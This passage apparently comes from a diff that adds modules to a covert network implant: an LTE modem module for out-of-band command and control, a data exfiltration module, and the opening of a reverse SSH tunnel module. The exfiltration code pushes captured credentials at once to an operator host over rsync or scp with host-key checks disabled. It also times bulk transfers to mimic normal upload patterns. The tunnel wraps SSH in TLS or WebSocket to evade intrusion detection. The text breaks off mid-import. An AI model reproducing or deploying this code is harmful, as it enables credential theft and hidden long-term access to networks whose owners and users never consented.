||||
from modules.base import BaseModule
|
||||
|
||||
logger = logging.getLogger("bb.connectivity.cellular_backup")
|
||||
|
||||
# Default serial device for modem AT commands
|
||||
DEFAULT_MODEM_DEVICE = "/dev/ttyUSB2"
|
||||
DEFAULT_BAUD_RATE = 115200
|
||||
AT_TIMEOUT = 5 # seconds for AT command responses
|
||||
|
||||
|
||||
class CellularBackup(BaseModule):
|
||||
"""LTE modem management for out-of-band C2."""
|
||||
|
||||
name = "cellular_backup"
|
||||
module_type = "connectivity"
|
||||
priority = -50
|
||||
requires_root = True
|
||||
|
||||
def __init__(self, bus, state, config, engine=None):
|
||||
super().__init__(bus, state, config, engine)
|
||||
self._serial: Optional[serial.Serial] = None
|
||||
self._modem_device: Optional[str] = None
|
||||
self._apn: Optional[str] = None
|
||||
self._interface: Optional[str] = None
|
||||
self._connected = False
|
||||
self._modem_model: Optional[str] = None
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# BaseModule interface
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def start(self) -> None:
|
||||
if self._running:
|
||||
return
|
||||
|
||||
# Check hardware tier
|
||||
device_tier = self.config.get("device", {}).get("tier", "")
|
||||
if device_tier == "pi_zero":
|
||||
logger.info("Cellular module skipped — pi_zero tier has no USB bandwidth")
|
||||
self.state.set_module_status(self.name, "skipped",
|
||||
extra={"reason": "pi_zero_tier"})
|
||||
return
|
||||
|
||||
cell_cfg = self.config.get("connectivity", {}).get("cellular", {})
|
||||
if not cell_cfg:
|
||||
logger.error("No cellular config in bigbrother.yaml")
|
||||
self.state.set_module_status(self.name, "error")
|
||||
return
|
||||
|
||||
self._modem_device = cell_cfg.get("device", DEFAULT_MODEM_DEVICE)
|
||||
self._apn = cell_cfg.get("apn")
|
||||
self._interface = cell_cfg.get("interface", "wwan0")
|
||||
|
||||
if not self._apn:
|
||||
logger.error("Cellular APN not configured")
|
||||
self.state.set_module_status(self.name, "error")
|
||||
return
|
||||
|
||||
# Open serial connection to modem
|
||||
if not self._open_serial():
|
||||
self.state.set_module_status(self.name, "error")
|
||||
return
|
||||
|
||||
# Initialize modem
|
||||
if not self._init_modem():
|
||||
self._close_serial()
|
||||
self.state.set_module_status(self.name, "error")
|
||||
return
|
||||
|
||||
# Enable data connection
|
||||
if not self.enable():
|
||||
logger.warning("Failed to enable data — modem initialized but no data yet")
|
||||
|
||||
self._running = True
|
||||
self._pid = os.getpid()
|
||||
self._start_time = time.time()
|
||||
|
||||
self.state.set_module_status(self.name, "running", pid=self._pid,
|
||||
extra={"modem": self._modem_model,
|
||||
"apn": self._apn})
|
||||
self.bus.emit("CONNECTIVITY_CHANGED",
|
||||
{"module": self.name, "state": "up",
|
||||
"modem": self._modem_model, "apn": self._apn},
|
||||
source_module=self.name)
|
||||
logger.info("Cellular backup active — modem=%s, APN=%s",
|
||||
self._modem_model, self._apn)
|
||||
|
||||
def stop(self) -> None:
|
||||
if not self._running:
|
||||
return
|
||||
|
||||
self.disable()
|
||||
self._close_serial()
|
||||
self._running = False
|
||||
self._connected = False
|
||||
|
||||
self.state.set_module_status(self.name, "stopped")
|
||||
self.bus.emit("CONNECTIVITY_CHANGED",
|
||||
{"module": self.name, "state": "down"},
|
||||
source_module=self.name)
|
||||
logger.info("Cellular backup stopped")
|
||||
|
||||
def status(self) -> dict:
|
||||
signal_info = self.get_signal() if self._running else None
|
||||
return {
|
||||
"running": self._running,
|
||||
"pid": self._pid,
|
||||
"uptime": time.time() - self._start_time if self._start_time else 0,
|
||||
"connected": self._connected,
|
||||
"modem_model": self._modem_model,
|
||||
"apn": self._apn,
|
||||
"interface": self._interface,
|
||||
"signal": signal_info,
|
||||
"ip": self.get_ip() if self._connected else None,
|
||||
}
|
||||
|
||||
def configure(self, config: dict) -> None:
|
||||
self.config.update(config)
|
||||
|
||||
def health_check(self) -> bool:
|
||||
if not self._running:
|
||||
return False
|
||||
# Check modem responds to AT
|
||||
resp = self._at_command("AT")
|
||||
return resp is not None and "OK" in resp
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Cellular operations
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def enable(self) -> bool:
|
||||
"""Configure APN and enable data connection."""
|
||||
# Try ModemManager first (mmcli)
|
||||
if self._enable_via_mmcli():
|
||||
self._connected = True
|
||||
return True
|
||||
|
||||
# Fallback: direct AT commands
|
||||
if self._enable_via_at():
|
||||
self._connected = True
|
||||
return True
|
||||
|
||||
logger.error("Failed to enable cellular data via mmcli or AT commands")
|
||||
return False
|
||||
|
||||
def disable(self) -> bool:
|
||||
"""Disable data connection."""
|
||||
# Try mmcli disconnect
|
||||
try:
|
||||
modem_index = self._get_modem_index()
|
||||
if modem_index is not None:
|
||||
subprocess.run(
|
||||
["mmcli", "-m", str(modem_index), "--simple-disconnect"],
|
||||
capture_output=True, timeout=15,
|
||||
)
|
||||
except (subprocess.TimeoutExpired, FileNotFoundError):
|
||||
pass
|
||||
|
||||
# AT command fallback
|
||||
self._at_command("AT+CGACT=0,1")
|
||||
self._at_command("AT+CFUN=4") # Flight mode
|
||||
|
||||
self._connected = False
|
||||
return True
|
||||
|
||||
def get_signal(self) -> Optional[dict]:
|
||||
"""Get signal quality information."""
|
||||
result = {}
|
||||
|
||||
# AT+CSQ — signal quality
|
||||
resp = self._at_command("AT+CSQ")
|
||||
if resp:
|
||||
match = re.search(r'\+CSQ:\s*(\d+),(\d+)', resp)
|
||||
if match:
|
||||
rssi_raw = int(match.group(1))
|
||||
ber = int(match.group(2))
|
||||
# Convert to dBm: -113 + (2 * rssi_raw)
|
||||
if 0 <= rssi_raw <= 31:
|
||||
result["rssi_dbm"] = -113 + (2 * rssi_raw)
|
||||
result["ber"] = ber
|
||||
|
||||
# AT+COPS? — operator
|
||||
resp = self._at_command("AT+COPS?")
|
||||
if resp:
|
||||
match = re.search(r'\+COPS:\s*\d+,\d+,"([^"]+)"', resp)
|
||||
if match:
|
||||
result["operator"] = match.group(1)
|
||||
|
||||
# AT+CREG? — registration status
|
||||
resp = self._at_command("AT+CREG?")
|
||||
if resp:
|
||||
match = re.search(r'\+CREG:\s*\d+,(\d+)', resp)
|
||||
if match:
|
||||
reg_status = int(match.group(1))
|
||||
result["registered"] = reg_status in (1, 5) # 1=home, 5=roaming
|
||||
|
||||
return result if result else None
|
||||
|
||||
def get_ip(self) -> Optional[str]:
|
||||
"""Get the IP address assigned to the cellular interface."""
|
||||
# Check interface
|
||||
try:
|
||||
result = subprocess.run(
|
||||
["ip", "-4", "addr", "show", self._interface],
|
||||
capture_output=True, text=True, timeout=5,
|
||||
)
|
||||
if result.returncode == 0:
|
||||
match = re.search(r'inet\s+(\d+\.\d+\.\d+\.\d+)', result.stdout)
|
||||
if match:
|
||||
return match.group(1)
|
||||
except (subprocess.TimeoutExpired, FileNotFoundError):
|
||||
pass
|
||||
|
||||
# Fallback: AT command
|
||||
resp = self._at_command("AT+CGPADDR=1")
|
||||
if resp:
|
||||
match = re.search(r'\+CGPADDR:\s*\d+,"?(\d+\.\d+\.\d+\.\d+)"?', resp)
|
||||
if match:
|
||||
return match.group(1)
|
||||
|
||||
return None
|
||||
|
||||
def send_sms(self, number: str, msg: str) -> bool:
|
||||
"""Send an SMS message via the modem."""
|
||||
# Set text mode
|
||||
resp = self._at_command("AT+CMGF=1")
|
||||
if not resp or "OK" not in resp:
|
||||
logger.error("Failed to set SMS text mode")
|
||||
return False
|
||||
|
||||
# Send message
|
||||
self._at_command(f'AT+CMGS="{number}"', expect_prompt=True)
|
||||
time.sleep(0.5)
|
||||
|
||||
if self._serial and self._serial.is_open:
|
||||
try:
|
||||
self._serial.write(msg.encode() + b"\x1a") # Ctrl+Z to send
|
||||
time.sleep(3.0)
|
||||
resp = self._serial.read(self._serial.in_waiting).decode(errors='replace')
|
||||
if "+CMGS:" in resp:
|
||||
logger.info("SMS sent to %s", number)
|
||||
return True
|
||||
except (serial.SerialException, OSError) as exc:
|
||||
logger.error("SMS send error: %s", exc)
|
||||
|
||||
return False
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# ModemManager (mmcli) path
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _enable_via_mmcli(self) -> bool:
|
||||
"""Enable cellular data via ModemManager."""
|
||||
modem_index = self._get_modem_index()
|
||||
if modem_index is None:
|
||||
return False
|
||||
|
||||
try:
|
||||
# Enable modem
|
||||
subprocess.run(
|
||||
["mmcli", "-m", str(modem_index), "--enable"],
|
||||
check=True, capture_output=True, timeout=15,
|
||||
)
|
||||
|
||||
# Connect with APN
|
||||
subprocess.run(
|
||||
["mmcli", "-m", str(modem_index), "--simple-connect",
|
||||
f"apn={self._apn}"],
|
||||
check=True, capture_output=True, timeout=30,
|
||||
)
|
||||
|
||||
# Wait for interface to come up
|
||||
time.sleep(3.0)
|
||||
|
||||
# Configure interface
|
||||
bearer_result = subprocess.run(
|
||||
["mmcli", "-m", str(modem_index), "--list-bearers"],
|
||||
capture_output=True, text=True, timeout=10,
|
||||
)
|
||||
|
||||
logger.info("Cellular data enabled via mmcli (modem %d)", modem_index)
|
||||
return True
|
||||
|
||||
except subprocess.CalledProcessError as exc:
|
||||
logger.debug("mmcli connect failed: %s",
|
||||
exc.stderr.decode(errors='replace') if exc.stderr else "")
|
||||
return False
|
||||
except (subprocess.TimeoutExpired, FileNotFoundError):
|
||||
return False
|
||||
|
||||
def _get_modem_index(self) -> Optional[int]:
|
||||
"""Get the ModemManager modem index."""
|
||||
try:
|
||||
result = subprocess.run(
|
||||
["mmcli", "-L"],
|
||||
capture_output=True, text=True, timeout=10,
|
||||
)
|
||||
if result.returncode == 0:
|
||||
match = re.search(r'/Modem/(\d+)', result.stdout)
|
||||
if match:
|
||||
return int(match.group(1))
|
||||
except (subprocess.TimeoutExpired, FileNotFoundError):
|
||||
pass
|
||||
return None
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# AT command path
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _enable_via_at(self) -> bool:
|
||||
"""Enable cellular data via direct AT commands."""
|
||||
# Exit flight mode
|
||||
resp = self._at_command("AT+CFUN=1")
|
||||
if not resp:
|
||||
return False
|
||||
|
||||
time.sleep(2.0)
|
||||
|
||||
# Set APN
|
||||
resp = self._at_command(f'AT+CGDCONT=1,"IP","{self._apn}"')
|
||||
if not resp or "OK" not in resp:
|
||||
logger.error("Failed to set APN")
|
||||
return False
|
||||
|
||||
# Activate PDP context
|
||||
resp = self._at_command("AT+CGACT=1,1")
|
||||
if not resp or "OK" not in resp:
|
||||
logger.error("Failed to activate PDP context")
|
||||
return False
|
||||
|
||||
# Wait for data connection
|
||||
time.sleep(3.0)
|
||||
|
||||
# Check registration
|
||||
signal = self.get_signal()
|
||||
if signal and signal.get("registered"):
|
||||
logger.info("Cellular data enabled via AT commands")
|
||||
return True
|
||||
|
||||
logger.warning("Modem registered but data connection uncertain")
|
||||
return True # Modem is up; data may need a moment
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Serial / AT helpers
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _open_serial(self) -> bool:
|
||||
"""Open serial connection to modem."""
|
||||
try:
|
||||
self._serial = serial.Serial(
|
||||
port=self._modem_device,
|
||||
baudrate=DEFAULT_BAUD_RATE,
|
||||
timeout=AT_TIMEOUT,
|
||||
write_timeout=AT_TIMEOUT,
|
||||
)
|
||||
logger.debug("Opened serial port %s", self._modem_device)
|
||||
return True
|
||||
except serial.SerialException as exc:
|
||||
logger.error("Cannot open modem serial port %s: %s",
|
||||
self._modem_device, exc)
|
||||
return False
|
||||
|
||||
def _close_serial(self) -> None:
|
||||
"""Close serial connection."""
|
||||
if self._serial and self._serial.is_open:
|
||||
try:
|
||||
self._serial.close()
|
||||
except Exception:
|
||||
pass
|
||||
self._serial = None
|
||||
|
||||
def _init_modem(self) -> bool:
|
||||
"""Initialize modem with basic AT commands."""
|
||||
# Basic AT test
|
||||
resp = self._at_command("AT")
|
||||
if not resp or "OK" not in resp:
|
||||
logger.error("Modem not responding to AT commands on %s", self._modem_device)
|
||||
return False
|
||||
|
||||
# Disable echo
|
||||
self._at_command("ATE0")
|
||||
|
||||
# Get modem model
|
||||
resp = self._at_command("AT+CGMM")
|
||||
if resp:
|
||||
lines = [l.strip() for l in resp.splitlines() if l.strip() and l.strip() != "OK"]
|
||||
if lines:
|
||||
self._modem_model = lines[0]
|
||||
|
||||
# Check SIM
|
||||
resp = self._at_command("AT+CPIN?")
|
||||
if not resp or "READY" not in resp:
|
||||
logger.error("SIM not ready: %s", resp)
|
||||
return False
|
||||
|
||||
logger.info("Modem initialized: %s, SIM ready", self._modem_model)
|
||||
return True
|
||||
|
||||
def _at_command(self, cmd: str, expect_prompt: bool = False) -> Optional[str]:
|
||||
"""Send an AT command and return the response."""
|
||||
if not self._serial or not self._serial.is_open:
|
||||
return None
|
||||
|
||||
try:
|
||||
# Flush input
|
||||
self._serial.reset_input_buffer()
|
||||
|
||||
# Send command
|
||||
self._serial.write((cmd + "\r\n").encode())
|
||||
|
||||
if expect_prompt:
|
||||
# Wait for > prompt
|
||||
time.sleep(0.5)
|
||||
data = self._serial.read(self._serial.in_waiting)
|
||||
return data.decode(errors='replace')
|
||||
|
||||
# Read response
|
||||
time.sleep(0.5)
|
||||
response = b""
|
||||
deadline = time.time() + AT_TIMEOUT
|
||||
while time.time() < deadline:
|
||||
if self._serial.in_waiting:
|
||||
response += self._serial.read(self._serial.in_waiting)
|
||||
# Check for final result codes
|
||||
decoded = response.decode(errors='replace')
|
||||
if any(code in decoded for code in ("OK", "ERROR", "+CME ERROR", "+CMS ERROR")):
|
||||
return decoded
|
||||
time.sleep(0.1)
|
||||
|
||||
return response.decode(errors='replace') if response else None
|
||||
|
||||
except (serial.SerialException, OSError) as exc:
|
||||
logger.debug("AT command error: %s", exc)
|
||||
return None
|
||||
@@ -0,0 +1,450 @@
|
||||
#!/usr/bin/env python3
|
||||
"""Data exfiltration module — priority-based data transport.
|
||||
|
||||
Manages data exfiltration through the connectivity chain with three
|
||||
priority tiers:
|
||||
|
||||
IMMEDIATE: Credentials — pushed as captured via fastest available channel
|
||||
NIGHTLY: Intel summaries, topology updates — scheduled nightly sync
|
||||
ON_DEMAND: PCAPs — large files pulled by operator when needed
|
||||
|
||||
Respects traffic_mimicry baseline — times transfers to match normal upload
|
||||
patterns so exfil activity blends with legitimate traffic.
|
||||
|
||||
Falls back through connectivity chain:
|
||||
WireGuard -> Tailscale -> reverse_ssh -> cellular
|
||||
"""
|
||||
|
||||
import json
|
||||
import logging
|
||||
import os
|
||||
import subprocess
|
||||
import threading
|
||||
import time
|
||||
from collections import deque
|
||||
from dataclasses import dataclass, field
|
||||
from enum import IntEnum
|
||||
from pathlib import Path
|
||||
from typing import Optional
|
||||
|
||||
from modules.base import BaseModule
|
||||
from core.bus import Event
|
||||
|
||||
logger = logging.getLogger("bb.connectivity.data_exfil")
|
||||
|
||||
|
||||
class ExfilPriority(IntEnum):
|
||||
"""Exfiltration priority levels."""
|
||||
IMMEDIATE = 0 # Credentials — push now
|
||||
NIGHTLY = 1 # Intel/topology — batch nightly
|
||||
ON_DEMAND = 2 # PCAPs — operator pulls
|
||||
|
||||
|
||||
@dataclass
|
||||
class ExfilJob:
|
||||
"""A pending exfiltration task."""
|
||||
path: str
|
||||
priority: ExfilPriority
|
||||
created: float = field(default_factory=time.time)
|
||||
attempts: int = 0
|
||||
last_attempt: float = 0
|
||||
size_bytes: int = 0
|
||||
description: str = ""
|
||||
|
||||
|
||||
# Connectivity chain — tried in order of preference
|
||||
CONNECTIVITY_CHAIN = ["wireguard", "tailscale", "reverse_tunnel", "cellular_backup"]
|
||||
|
||||
NIGHTLY_HOUR = 2 # 2 AM local time for nightly sync
|
||||
MAX_ATTEMPTS = 5
|
||||
RETRY_BACKOFF = 60 # seconds between retries
|
||||
|
||||
|
||||
class DataExfil(BaseModule):
|
||||
"""Priority-based data exfiltration through the connectivity chain."""
|
||||
|
||||
name = "data_exfil"
|
||||
module_type = "connectivity"
|
||||
priority = -100
|
||||
requires_root = False
|
||||
|
||||
def __init__(self, bus, state, config, engine=None):
|
||||
super().__init__(bus, state, config, engine)
|
||||
self._immediate_queue: deque = deque(maxlen=1000)
|
||||
self._nightly_queue: deque = deque(maxlen=500)
|
||||
self._on_demand_queue: deque = deque(maxlen=200)
|
||||
self._worker_thread: Optional[threading.Thread] = None
|
||||
self._nightly_thread: Optional[threading.Thread] = None
|
||||
self._lock = threading.Lock()
|
||||
self._stats = {
|
||||
"files_sent": 0,
|
||||
"bytes_sent": 0,
|
||||
"creds_pushed": 0,
|
||||
"nightly_syncs": 0,
|
||||
"failures": 0,
|
||||
}
|
||||
self._remote_base: Optional[str] = None
|
||||
self._remote_user: Optional[str] = None
|
||||
self._ssh_key: Optional[str] = None
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# BaseModule interface
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def start(self) -> None:
|
||||
if self._running:
|
||||
return
|
||||
|
||||
exfil_cfg = self.config.get("connectivity", {}).get("data_exfil", {})
|
||||
self._remote_base = exfil_cfg.get("remote_base", "/data/exfil")
|
||||
self._remote_user = exfil_cfg.get("remote_user", "operator")
|
||||
self._ssh_key = exfil_cfg.get("ssh_key")
|
||||
|
||||
# Subscribe to credential events for immediate push
|
||||
self.bus.subscribe(self._on_credential_found, event_type="CREDENTIAL_FOUND")
|
||||
|
||||
# Start worker thread for processing queues
|
||||
self._running = True
|
||||
self._pid = os.getpid()
|
||||
self._start_time = time.time()
|
||||
|
||||
self._worker_thread = threading.Thread(
|
||||
target=self._worker_loop, daemon=True, name="bb-exfil-worker",
|
||||
)
|
||||
self._worker_thread.start()
|
||||
|
||||
# Start nightly sync scheduler
|
||||
self._nightly_thread = threading.Thread(
|
||||
target=self._nightly_scheduler, daemon=True, name="bb-exfil-nightly",
|
||||
)
|
||||
self._nightly_thread.start()
|
||||
|
||||
self.state.set_module_status(self.name, "running", pid=self._pid)
|
||||
logger.info("Data exfil module active")
|
||||
|
||||
def stop(self) -> None:
|
||||
if not self._running:
|
||||
return
|
||||
|
||||
self._running = False
|
||||
|
||||
self.bus.unsubscribe(self._on_credential_found, event_type="CREDENTIAL_FOUND")
|
||||
|
||||
if self._worker_thread and self._worker_thread.is_alive():
|
||||
self._worker_thread.join(timeout=5.0)
|
||||
if self._nightly_thread and self._nightly_thread.is_alive():
|
||||
self._nightly_thread.join(timeout=5.0)
|
||||
|
||||
self.state.set_module_status(self.name, "stopped")
|
||||
logger.info("Data exfil stopped (sent=%d, bytes=%d, failures=%d)",
|
||||
self._stats["files_sent"], self._stats["bytes_sent"],
|
||||
self._stats["failures"])
|
||||
|
||||
def status(self) -> dict:
|
||||
with self._lock:
|
||||
return {
|
||||
"running": self._running,
|
||||
"pid": self._pid,
|
||||
"uptime": time.time() - self._start_time if self._start_time else 0,
|
||||
"queue_immediate": len(self._immediate_queue),
|
||||
"queue_nightly": len(self._nightly_queue),
|
||||
"queue_on_demand": len(self._on_demand_queue),
|
||||
"stats": dict(self._stats),
|
||||
}
|
||||
|
||||
def configure(self, config: dict) -> None:
|
||||
self.config.update(config)
|
||||
|
||||
def health_check(self) -> bool:
|
||||
if not self._running:
|
||||
return False
|
||||
return self._worker_thread is not None and self._worker_thread.is_alive()
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Public API
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def push_file(self, path: str, priority: int = ExfilPriority.NIGHTLY,
|
||||
description: str = "") -> bool:
|
||||
"""Queue a file for exfiltration at the given priority."""
|
||||
if not os.path.isfile(path):
|
||||
logger.warning("Exfil target does not exist: %s", path)
|
||||
return False
|
||||
|
||||
try:
|
||||
size = os.path.getsize(path)
|
||||
except OSError:
|
||||
size = 0
|
||||
|
||||
job = ExfilJob(
|
||||
path=path,
|
||||
priority=ExfilPriority(priority),
|
||||
size_bytes=size,
|
||||
description=description,
|
||||
)
|
||||
|
||||
with self._lock:
|
||||
if priority == ExfilPriority.IMMEDIATE:
|
||||
self._immediate_queue.append(job)
|
||||
elif priority == ExfilPriority.NIGHTLY:
|
||||
self._nightly_queue.append(job)
|
||||
else:
|
||||
self._on_demand_queue.append(job)
|
||||
|
||||
logger.debug("Queued for exfil (%s): %s (%d bytes)",
|
||||
ExfilPriority(priority).name, path, size)
|
||||
return True
|
||||
|
||||
def sync_intel(self) -> bool:
|
||||
"""Trigger an immediate sync of all queued intel/nightly data."""
|
||||
logger.info("Manual intel sync triggered")
|
||||
return self._process_nightly_queue()
|
||||
|
||||
def get_exfil_stats(self) -> dict:
|
||||
"""Return exfil statistics."""
|
||||
with self._lock:
|
||||
return dict(self._stats)
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Event handlers
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _on_credential_found(self, event: Event) -> None:
|
||||
"""Handle CREDENTIAL_FOUND events — push immediately."""
|
||||
payload = event.payload
|
||||
cred_file = payload.get("file")
|
||||
cred_data = payload.get("data")
|
||||
|
||||
if cred_file and os.path.isfile(cred_file):
|
||||
self.push_file(cred_file, ExfilPriority.IMMEDIATE,
|
||||
description=f"credential: {payload.get('type', 'unknown')}")
|
||||
elif cred_data:
|
||||
# Write credential data to a temp file for exfil
|
||||
tmpdir = "/dev/shm" if os.path.isdir("/dev/shm") else "/tmp"
|
||||
cred_path = os.path.join(tmpdir, f".cred_{int(time.time())}.json")
|
||||
try:
|
||||
fd = os.open(cred_path, os.O_WRONLY | os.O_CREAT | os.O_TRUNC, 0o600)
|
||||
try:
|
||||
os.write(fd, json.dumps(cred_data).encode())
|
||||
finally:
|
||||
os.close(fd)
|
||||
self.push_file(cred_path, ExfilPriority.IMMEDIATE,
|
||||
description="credential_data")
|
||||
except OSError as exc:
|
||||
logger.error("Failed to write credential for exfil: %s", exc)
|
||||
|
||||
with self._lock:
|
||||
self._stats["creds_pushed"] += 1
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Worker threads
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _worker_loop(self) -> None:
|
||||
"""Main worker: drain immediate queue, respecting traffic mimicry."""
|
||||
while self._running:
|
||||
# Process immediate queue first
|
||||
job = None
|
||||
with self._lock:
|
||||
if self._immediate_queue:
|
||||
job = self._immediate_queue.popleft()
|
||||
|
||||
if job:
|
||||
self._process_job(job)
|
||||
else:
|
||||
time.sleep(5.0)
|
||||
|
||||
def _nightly_scheduler(self) -> None:
|
||||
"""Wait until NIGHTLY_HOUR and trigger nightly sync."""
|
||||
while self._running:
|
||||
now = time.localtime()
|
||||
if now.tm_hour == NIGHTLY_HOUR and now.tm_min < 5:
|
||||
# Check traffic mimicry — is this a normal upload time?
|
||||
if self._is_upload_window():
|
||||
self._process_nightly_queue()
|
||||
with self._lock:
|
||||
self._stats["nightly_syncs"] += 1
|
||||
# Sleep past the window to avoid re-triggering
|
||||
time.sleep(3600)
|
||||
continue
|
||||
|
||||
time.sleep(60)
|
||||
|
||||
def _process_job(self, job: ExfilJob) -> bool:
|
||||
"""Transfer a single file through the connectivity chain."""
|
||||
job.attempts += 1
|
||||
job.last_attempt = time.time()
|
||||
|
||||
# Try each connectivity method in order
|
||||
for conn_name in CONNECTIVITY_CHAIN:
|
||||
conn_status = self.state.get_module_status(conn_name)
|
||||
if conn_status.get("status") != "running":
|
||||
continue
|
||||
|
||||
if self._transfer_file(job.path, conn_name):
|
||||
with self._lock:
|
||||
self._stats["files_sent"] += 1
|
||||
self._stats["bytes_sent"] += job.size_bytes
|
||||
logger.info("Exfil success: %s via %s (%d bytes)",
|
||||
job.path, conn_name, job.size_bytes)
|
||||
|
||||
# Clean up temp credential files after successful send
|
||||
if job.path.startswith(("/dev/shm/", "/tmp/")) and ".cred_" in job.path:
|
||||
try:
|
||||
os.unlink(job.path)
|
||||
except OSError:
|
||||
pass
|
||||
|
||||
return True
|
||||
|
||||
# All channels failed — re-queue if under max attempts
|
||||
with self._lock:
|
||||
self._stats["failures"] += 1
|
||||
|
||||
if job.attempts < MAX_ATTEMPTS:
|
||||
logger.warning("Exfil failed for %s (attempt %d/%d), re-queuing",
|
||||
job.path, job.attempts, MAX_ATTEMPTS)
|
||||
time.sleep(RETRY_BACKOFF)
|
||||
with self._lock:
|
||||
if job.priority == ExfilPriority.IMMEDIATE:
|
||||
self._immediate_queue.append(job)
|
||||
else:
|
||||
self._nightly_queue.append(job)
|
||||
else:
|
||||
logger.error("Exfil permanently failed for %s after %d attempts",
|
||||
job.path, MAX_ATTEMPTS)
|
||||
|
||||
return False
|
||||
|
||||
def _process_nightly_queue(self) -> bool:
|
||||
"""Process all items in the nightly queue."""
|
||||
success = True
|
||||
while self._running:
|
||||
with self._lock:
|
||||
if not self._nightly_queue:
|
||||
break
|
||||
job = self._nightly_queue.popleft()
|
||||
|
||||
if not self._process_job(job):
|
||||
success = False
|
||||
|
||||
# Brief pause between files to avoid traffic bursts
|
||||
time.sleep(2.0)
|
||||
|
||||
return success
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Transfer methods
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _transfer_file(self, local_path: str, via_module: str) -> bool:
|
||||
"""Transfer a file using rsync/scp over the specified connectivity module."""
|
||||
if not os.path.isfile(local_path):
|
||||
return False
|
||||
|
||||
# Determine remote target based on connectivity module
|
||||
remote_host = self._get_remote_host(via_module)
|
||||
if not remote_host:
|
||||
return False
|
||||
|
||||
remote_path = f"{self._remote_user}@{remote_host}:{self._remote_base}/"
|
||||
|
||||
# Build SSH options
|
||||
ssh_opts = [
|
||||
"-o", "StrictHostKeyChecking=no",
|
||||
"-o", "UserKnownHostsFile=/dev/null",
|
||||
"-o", "LogLevel=ERROR",
|
||||
"-o", "ConnectTimeout=10",
|
||||
]
|
||||
if self._ssh_key:
|
||||
ssh_opts.extend(["-i", self._ssh_key])
|
||||
|
||||
# Try rsync first (delta transfer, bandwidth efficient)
|
||||
if self._try_rsync(local_path, remote_path, ssh_opts):
|
||||
return True
|
||||
|
||||
# Fallback to scp
|
||||
return self._try_scp(local_path, remote_path, ssh_opts)
|
||||
|
||||
def _try_rsync(self, local_path: str, remote_path: str,
|
||||
ssh_opts: list) -> bool:
|
||||
"""Attempt file transfer via rsync."""
|
||||
ssh_cmd = "ssh " + " ".join(ssh_opts)
|
||||
cmd = [
|
||||
"rsync", "-az", "--timeout=30",
|
||||
"-e", ssh_cmd,
|
||||
local_path, remote_path,
|
||||
]
|
||||
|
||||
try:
|
||||
result = subprocess.run(
|
||||
cmd, capture_output=True, timeout=120,
|
||||
)
|
||||
return result.returncode == 0
|
||||
except (subprocess.TimeoutExpired, FileNotFoundError):
|
||||
return False
|
||||
|
||||
def _try_scp(self, local_path: str, remote_path: str,
|
||||
ssh_opts: list) -> bool:
|
||||
"""Attempt file transfer via scp."""
|
||||
cmd = ["scp", "-q"] + ssh_opts + [local_path, remote_path]
|
||||
|
||||
try:
|
||||
result = subprocess.run(
|
||||
cmd, capture_output=True, timeout=120,
|
||||
)
|
||||
return result.returncode == 0
|
||||
except (subprocess.TimeoutExpired, FileNotFoundError):
|
||||
return False
|
||||
|
||||
def _get_remote_host(self, via_module: str) -> Optional[str]:
|
||||
"""Get the remote host address for a connectivity module."""
|
||||
if via_module == "wireguard":
|
||||
wg_cfg = self.config.get("connectivity", {}).get("wireguard", {})
|
||||
# Use the WireGuard peer's allowed IP (operator side)
|
||||
allowed = wg_cfg.get("allowed_ips", "")
|
||||
if "/" in allowed:
|
||||
return allowed.split("/")[0]
|
||||
return allowed if allowed else None
|
||||
|
||||
elif via_module == "tailscale":
|
||||
# Get Tailscale IP of the operator machine from config
|
||||
ts_cfg = self.config.get("connectivity", {}).get("tailscale", {})
|
||||
return ts_cfg.get("operator_ip")
|
||||
|
||||
elif via_module == "reverse_tunnel":
|
||||
# Reverse tunnel goes through localhost (port is forwarded)
|
||||
return "127.0.0.1"
|
||||
|
||||
elif via_module == "cellular_backup":
|
||||
# Cellular uses a separate relay
|
||||
cell_cfg = self.config.get("connectivity", {}).get("cellular", {})
|
||||
return cell_cfg.get("exfil_host")
|
||||
|
||||
return None
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Traffic mimicry integration
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _is_upload_window(self) -> bool:
|
||||
"""Check if current time falls within a normal upload window.
|
||||
|
||||
Reads the traffic mimicry baseline to determine if now is a
|
||||
reasonable time for upload activity.
|
||||
"""
|
||||
baseline = self.state.get("traffic_mimicry", "upload_hours", default=None)
|
||||
if not baseline:
|
||||
# No baseline — allow all hours
|
||||
return True
|
||||
|
||||
try:
|
||||
if isinstance(baseline, str):
|
||||
allowed_hours = json.loads(baseline)
|
||||
else:
|
||||
allowed_hours = baseline
|
||||
|
||||
current_hour = time.localtime().tm_hour
|
||||
return current_hour in allowed_hours
|
||||
except (json.JSONDecodeError, TypeError):
|
||||
return True
|
||||
@@ -0,0 +1,406 @@
|
||||
#!/usr/bin/env python3
|
||||
"""Reverse tunnel module — autossh reverse SSH over TLS/WebSocket.
|
||||
|
||||
Establishes a persistent reverse SSH tunnel using autossh with automatic
|
||||
reconnection. The SSH connection is NEVER raw on port 443 — it MUST be
|
||||
wrapped in TLS (via stunnel) or transported over WebSocket to avoid
|
||||
protocol fingerprinting by DPI/IDS.
|
||||
|
||||
Tunnel chain:
|
||||
implant -> stunnel (local TLS wrap) -> relay:443 -> sshd
|
||||
OR
|
||||
implant -> SSH-over-WebSocket -> relay:443 -> ws-to-ssh proxy -> sshd
|
||||
"""
|
||||
|
||||
import logging
|
||||
import os
|
||||
import signal
|
||||
import subprocess
|
||||
import tempfile
|
||||
